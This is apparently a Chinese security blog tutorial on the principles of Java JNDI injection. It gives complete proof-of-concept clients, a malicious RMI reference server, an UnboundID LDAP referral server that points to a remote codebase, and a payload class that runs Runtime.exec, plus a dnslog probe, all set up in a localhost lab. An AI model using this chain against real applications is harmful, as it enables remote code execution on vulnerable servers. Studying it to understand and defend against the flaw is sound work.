JNDI注入原理
2024-11-29 14:06:36 # 漏洞原理

JNDI简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

通俗来说,程序可用使用JNDI来实现访问系统的命令服务目录服务

JDNI简单使用示例

  1. 资源查找
    通过 JNDI 查找特定的资源(如数据库、JMS 队列、远程对象等)。

    1
    2
    Context ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/MyDB");
  2. 资源绑定
    将对象绑定到命名服务。

    1
    ctx.bind("java:comp/env/MyResource", myObject);
  3. 资源重新绑定
    覆盖已有的绑定。

    1
    ctx.rebind("java:comp/env/MyResource", newObject);
  4. 资源解绑
    从命名服务中移除绑定。

    1
    ctx.unbind("java:comp/env/MyResource");
  5. 列出资源
    列出命名空间中的所有资源。

    1
    NamingEnumeration<NameClassPair> list = ctx.list("java:comp/env");

JNDI中的协议

  • LDAP:轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
  • RMI:JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
  • DNS:域名服务
  • CORBA:公共对象请求代理体系结构

JNDI注入

注入原理

通过上面的示例可用看到,开发者会使用lookup来获取uri,当该函数的参数可控时,攻击者可用将恶意的url传入参数远程加载恶意载荷,造成注入攻击。

代码示例

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象

}
}

上述uri为攻击者控制的链接,lookup()函数远程获取Exploit类(具体是什么内容由攻击者定义),并执行

版本限制

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

漏洞示例

JNDI+RMI

客户端代码,此代码加载远程7778端口的RCE类

1
2
3
4
5
6
7
8
9
10
11
package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:10010/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

image-20241127094354516

服务端代码,此代码通过RMI注册一个Reference对象(此类是java核心类,它表示一个引用对象,可以被远程加载),引用远程8081端口的Calculator类(需要将.java文件编译为.class再开启HTTP服务)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(10010);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}

}

image-20241127094435475

服务端代码

1
2
3
4
5
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

流程:编译Calculator类 -> 8081端口开启HTTP服务 -> 执行服务端代码 -> 执行客户端代码

JNDI+LDAP

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package jndi_ldap_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}

}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package jndi_ldap_injection;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

服务端

1
2
3
4
5
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

DNS

不需要服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package jndi_ldap_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "dns://192rzl.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}

}

参考文章

https://xz.aliyun.com/t/12277